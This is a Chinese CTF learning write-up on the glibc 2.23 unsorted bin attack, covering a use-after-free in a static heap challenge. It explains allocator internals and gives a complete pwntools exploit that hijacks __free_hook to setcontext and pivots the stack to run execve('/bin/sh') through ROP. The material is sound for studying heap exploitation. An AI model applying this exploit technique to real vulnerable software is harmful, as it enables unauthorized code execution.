Pwn学习总结(22):Heap-OtherBin/unsorted_bin

实验平台:

x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3

实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/OtherBin/unsorted_bin

ELF安全性:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

amd64体系结构,GOT表可写,未开PIE。

经过ldd查询,本题是一道静态链接的题目。libc已经静态链接到了程序内部。

下面是反编译后程序的主要部分:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init_0();
  logo(argc, argv);
  while ( 1 )
  {
    menu();
    v3 = read_int_1();
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
    }
  }
}
__int64 __fastcall add(__int64 a1, __int64 a2)
{
  unsigned int v3; // [rsp+Ch] [rbp-4h]

  printf("id : ");
  v3 = read_int_1();
  if ( v3 > 2 )
    exit(0LL);
  data_0[v3] = malloc(256LL);
  puts("your max payload size is 256 ");
  printf("input : ");
  read(0LL, data_0[v3], 256LL);
  printf("your payload id:%p\n", (const void *)(data_0[v3] & 0xFFF));
  puts("testing...");
  return puts("finish");
}
__int64 __fastcall delete(__int64 a1, __int64 a2)
{
  unsigned int v3; // [rsp+Ch] [rbp-4h]

  printf("id : ");
  v3 = read_int_1();
  if ( v3 > 2 )
    exit(0LL);
  free(data_0[v3]); // Vulnerable
  return puts("finish");
}
__int64 __fastcall edit(__int64 a1, __int64 a2)
{
  unsigned int v3; // [rsp+Ch] [rbp-4h]

  printf("id : ");
  v3 = read_int_1();
  if ( v3 > 2 )
    exit(0LL);
  if ( !data_0[v3] )
    exit(0LL);
  printf("input : ");
  read(0LL, data_0[v3], 256LL);
  puts("testing...");
  return puts("finish");
}

问题点依然出在delete时出现了悬空指针导致了UAF。在本题中堆分配的大小为固定的0x100,已经不属于FastBin范围了。虽然它属于SmallBin的范围,但本题目实际上是利用了UnsortedBin相关的Attack。

为了做这道题目,我们先来学习相应的知识。

各类Bin的大小范围

我们先来明确四类Bin所对应的Chunk大小范围(字节):
FastBin: 0x20 ~ 0x80 [32, 128]
SmallBin: 0x80 ~ 0x400 (128, 1024)
LargeBin: 0x400 ~ +oo [1024, +oo]
UnsortedBin: 任意

UnsortedBin Attack

UnsortedBin 中 Chunk 的来源[1]

  1. 当一个较大的Chunk被分割后,如果剩下的部分大于MIN_CHUNK_SIZE(体系结构相关),就会被放到Unsorted Bin中。

  2. 释放一个不属于FastBin大小范围的Chunk,并且该Chunk的虚拟地址不与Top Chunk相邻时,该Chunk会被首先放到UnsortedBin中。Top Chunk指的是堆上虚拟地址最高的最大块的Chunk。它独立于上文所述的4类Bin。当四类Bin中都没有可用的Chunk时,会在Top Chunk中划分出新的小Chunk返回给用户。

  3. 当进行malloc_consolidate时,如果合并后的Chunk不与Top Chunk的虚拟地址相邻的话,则会放到UnsortedBin中。malloc_consolidate指的是释放FastBin中全部的Chunk并尝试将他们合并起来,从而减少内存碎片。

UnsortedBin 中 Chunk 的使用[1]

  1. UnsortedBin在使用过程中,采用的遍历顺序是FIFO(队列),即插入的时候插入到UnsortedBin双向循环链表的的头部fd,取出的时候从链表尾bk获取。相比较而言,FastBin则遵从FILO(栈)的遍历顺序。

  2. 在程序malloc时,如果在FastBin或SmallBin中找不到对应大小的Chunk,就会尝试从 UnsortedBin 中寻找Chunk。如果取出来的Chunk大小刚好满足,就会直接返回给用户,否则就会把这些Chunk分别插入到对应范围的Bin中。

struct malloc_state 中 bins 域的结构与使用

为了深刻理解UnsortedBin Attack的理论,我们必须先理解malloc_state结构体中bins域的结构与使用。

struct malloc_state的定义[2]如下:

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);
  /* Flags (formerly in max_fast).  */
  int flags;
  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];
  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];
  /* Linked list */
  struct malloc_state *next;
  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;
  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;
  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

因为本题利用的点是UnsortedBin,因此我们也使用Bins中UnsortedBin对应的位置进行举例。

对于每一个非FastBin管理Chunk的Double Loop Linked List,都在bins中有两个指针作为双向链表的头节点。

对于UnsortedBin这两个指针所在的位置恰好是bins[0]bins[1],分别代表了fdbk

ptmalloc的作者为方便偷懒起见,直接使用struct malloc_chunk结构体来对这个不完整的头节点进行访问。可以参考malloc.c中的宏unsorted_chunks(av),它被展开为((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof(struct malloc_chunk, fd)))。其中减去的offset一项就是为了访问fdbk时能够有正确的偏移。

当链表为空时,UnsortedBin双向循环链表头节点的fdbk都指向(char *)fd - 0x10,即top的位置。

下面以UnsortedBin Chain中存在一个Chunk为例,用ASCII图画来说明该链表的相关情况:

main_arena.bins[0:1]|.. chunk1
-------------------------------
|     fd | bk       | fd | bk |
-------------------------------
^      |    |       ^  |    |
|      -------------|  |-----
------------------------

main_arena.bins[0:1]所对应的fdbk全部指向chunk1chunk1所对应的fdbk全部指向main_arena.bins[0]

UnsortedBin Attack 原理

节选ptmalloc中的源代码:

  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          ...
          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
          ...

可以看出,只要我们可以控制victim(UnsortedBin List中的第一个数据节点)的bk域(可以通过UAF达到),我们就可以向(void *)((char *)bck + 0x10)地址中写入unsorted_chunks (av),也就是main_arena.top。与此同时,我们还需要保证(void *)((char *)bck + 0x10)当下为victim的地址。

setcontext

setcontext函数,原本是信号处理完成后,用来还原线程状态的。但它恰好给了我们一个利用方法,使得我们能够填充各个数据寄存器以及跳转控制流。

在本题目中,setcontext的代码如下:

.text:000000000040F4E0                 public setcontext ; weak
.text:000000000040F4E0 setcontext      proc near               ; CODE XREF: a+9↑p
.text:000000000040F4E0 ; __unwind {
.text:000000000040F4E0                 push    rdi             ; Alternative name is '__setcontext'
.text:000000000040F4E1                 lea     rsi, [rdi+128h] ; nset
.text:000000000040F4E8                 xor     edx, edx        ; oset
.text:000000000040F4EA                 mov     edi, 2          ; how
.text:000000000040F4EF                 mov     r10d, 8         ; sigsetsize
.text:000000000040F4F5                 mov     eax, 0Eh
.text:000000000040F4FA                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:000000000040F4FC                 pop     rdi
.text:000000000040F4FD                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:000000000040F503                 jnb     __syscall_error
.text:000000000040F509                 mov     rcx, [rdi+0E0h]
.text:000000000040F510                 fldenv  byte ptr [rcx]
.text:000000000040F512                 ldmxcsr dword ptr [rdi+1C0h]
.text:000000000040F519                 mov     rsp, [rdi+0A0h]
.text:000000000040F520                 mov     rbx, [rdi+80h]
.text:000000000040F527                 mov     rbp, [rdi+78h]
.text:000000000040F52B                 mov     r12, [rdi+48h]
.text:000000000040F52F                 mov     r13, [rdi+50h]
.text:000000000040F533                 mov     r14, [rdi+58h]
.text:000000000040F537                 mov     r15, [rdi+60h]
.text:000000000040F53B                 mov     rcx, [rdi+0A8h]
.text:000000000040F542                 push    rcx
.text:000000000040F543                 mov     rsi, [rdi+70h]
.text:000000000040F547                 mov     rdx, [rdi+88h]
.text:000000000040F54E                 mov     rcx, [rdi+98h]
.text:000000000040F555                 mov     r8, [rdi+28h]
.text:000000000040F559                 mov     r9, [rdi+30h]
.text:000000000040F55D                 mov     rdi, [rdi+68h]
.text:000000000040F55D ; } // starts at 40F4E0
.text:000000000040F561 ; __unwind {
.text:000000000040F561                 xor     eax, eax
.text:000000000040F563                 retn
.text:000000000040F563 ; } // starts at 40F561
.text:000000000040F563 setcontext      endp

我们根据本函数的代码布局好内容,然后传入第一参数rdi即可利用之。

题目Exp

本题目的大致思路为,利用UnsortedBin Attack更改Top Chunk地址到data数组上方。再次分配的堆块恰好能够覆盖data[0],向其中填入__free_hook的地址。劫持free函数到setcontext处进行栈迁移。向栈上填入SysCall(execve)的各项参数,通过ROP调用之。

对于本道题目,我已写清楚详尽的英文注释。请结合题目Exp、上述思路、知识讲解及动手调试理解本Exp。

#!/usr/bin/env python2
# coding = utf-8
# Environment: Ubuntu 16.04

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")

def send_choice(choice):
    p.recvuntil('choose > ')
    p.sendline(str(choice))

def new_data(id, data):
    send_choice(1)
    p.recvuntil('id : ')
    p.sendline(str(id))
    p.recvuntil('input : ')
    p.send(data)

def delete_data(id):
    send_choice(2)
    p.recvuntil('id : ')
    p.sendline(str(id))

def edit_data(id, data):
    send_choice(3)
    p.recvuntil('id : ')
    p.sendline(str(id))
    p.recvuntil('input : ')
    p.send(data)

p = process('./unsorted_bin')
elf = ELF('./unsorted_bin')
# gdb.attach(p, '')

"""
Heap Layout:
|--------------------
|(UAF) Unsorted Chunk
|--------------------
|Using Chunk (Isolating)
|--------------------
|top chunk (Lefted)
|--------------------
"""

data_bss = 0x6CCBB0

new_data(0, 'a')
new_data(1, 'a')
delete_data(0) # UAF Chunk 0
"""
Unsorted Bin Attack:
Use After Free: Point UAF Chunk's ``*bk` to fake next free unsorted bin at `(char *)&data_bss - offset(fd, struct malloc_chunk)`;
The pointer at `data_bss` (aka `&data_bss[0]`) will point at `main_arena + 88`, aka macro `unsorted_chunks (main_arena)`,
aka `(char *)&main_arena.bins[0] - offset(fd, struct malloc_chunk)`, aka `main_arena.top`.
Reference: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
At malloc.c:3740, `(victim = unsorted_chunks (av)->bk)` as the first free unsorted bin;
At malloc.c:3742, `bck = victim->bk` as the second free unsorted bin which can be controlled via UAF;
At malloc.c:3797, the condition `bck->fd != victim` just magically satisfied.
At malloc.c:3799, `unsorted_chunks (av)->bk = bck` lead a next allocate from unsorted bin crashing the program
                    because of invalid size 0 at offset of bck->mchunk_size on `(char *)&data_bss - 0x8`;
At malloc.c:3800, ` bck->fd = unsorted_chunks (av)` write exactly on `&data_bss` with value `unsorted_chunks (av)`
                    which is `main_arena.top`.
"""
edit_data(0, p64(0) + p64(data_bss - 0x10))

"""
Fill `setcontext`'s argument in advance in the memory referenced by `data_bss[1]`,
    which executes `system("/bin/sh")`.
The function `setcontext` mainly recover the register's value (including but not limited to Data Regs & IP),
    then jump to the IP user specified.
Please understand them according to the exploit code's context.
"""
pop_rax_rdx_rbx_retn_addr = 0x480c06

"""
`execve`'s Prototype:
int execve(const char *pathname, char *const argv[], char *const envp[]);
Set RDI(First Arg, `pathname`) in SigReturnFrame, Corresponding to `&migrated_stack_payload`, whose content is "/bin/sh\x00".
Set RSI(Second Arg, `argv`) in SigReturnFrame, which must be `NULL`.
"""
setcontext_payload = '\x00' * 0x68 + p64(data_bss - 0xf0) + p64(0)
"""
Set RSP in SigReturnFrame, Corresponding to `(char *)&migrated_stack_payload + 0x10`, 
    whose content is `p64(SYS_execve_no) + p64(0) *2 + p64(syscall_addr)`,
    which is prepared for the final EXECVE SysCall.
""" 
setcontext_payload = setcontext_payload.ljust(0xa0, '\x00') + p64(data_bss - 0xe0) 
# Set RIP in SigReturnFrame to do ROP in order to control RAX (SysCall_NO) and execute `syscall`.
setcontext_payload += p64(pop_rax_rdx_rbx_retn_addr)
new_data(1, setcontext_payload)

"""
The new top_chunk position which was choosen is exactly `(char *)&data_bss - 0x100`. 
Note that every malloc_chunk size is 0x110 (Metadata 0x10 + User Mem 0x100).
In that case, we may overwrite `data_bss[0]` to get an arbitrary R/W. (We choose a `__free_hook`)
Meanwhile, `data_bss[2]` won't be corrupted because the top chunk after this alloc will only
            write domain `mchunk_size` on `data_bss[3]`, which is meaningless to us.
            (Reference: malloc.c:4099~4134)
"""
top_chunk = 0x6ccab0
last_reminder = 0
top_chunk_glibc_addr = 0x6cb858
"""
Note: We are editing content starting at `main_arena.top`.
Firstly, we can forge an arbitrary top chunk. The top chunk address was chosen according to the above reason.
Secondly, We have to clear(recover) unsorted bin's double linked list's header node due to Unsorted Bin Attack's side effect.
Recover condition (Reference: malloc.c:3740):
When `(victim = unsorted_chunks (av)->bk) == unsorted_chunks (av)`, the double linked list has no nodes.
So use `p64(top_chunk_glibc_addr) * 2` to overwrite the originals.
"""
edit_data(0, p64(top_chunk) + p64(last_reminder) + p64(top_chunk_glibc_addr) * 2)

syscall_addr = 0x40f4fa
SYS_execve_no = 59
"""
Layout the migrated Stack:
Corresponding to `setcontext_payload`'s RSP settings, respectively:
RDI -> SysCall execve's first argument C-String "/bin/sh"
'\x00' * 8 -> Useless Padding
RAX(SYS_execve_no) -> Syscall's NO: execve(59)
RDX(0) -> Syscall's third argument `envp`, which must be `NULL`
RBX(0) -> Useless Here
syscall_addr -> Invoke SysCall
"""
migrated_stack_payload = '/bin/sh\x00' + '\x00' * 8 + p64(SYS_execve_no) + p64(0) *2 + p64(syscall_addr)
# Write `__free_hook` on `data_bss[0]`
__free_hook_addr = 0x6cd608
migrated_stack_payload = migrated_stack_payload.ljust(0xf0, '\x00') + p64(__free_hook_addr)
new_data(2, migrated_stack_payload)
# Set `*__free_hook` to `setcontext`
setcontext_addr = 0x40f519
edit_data(0, p64(setcontext_addr))
delete_data(1)

"""
As a conclusion, invoking `free(data[1])` cause executing the following procedures:
free -> __free_hook -> setcontext_addr (to migrate stack on heap & place syscall's first & second arg) ->
# In this problem, one_gadget is not available.
pop_rax_rdx_rbx_retn_addr (place syscall's no, third arg, call syscall)
"""

p.interactive()

参考资料:
[1] https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/
[2] https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注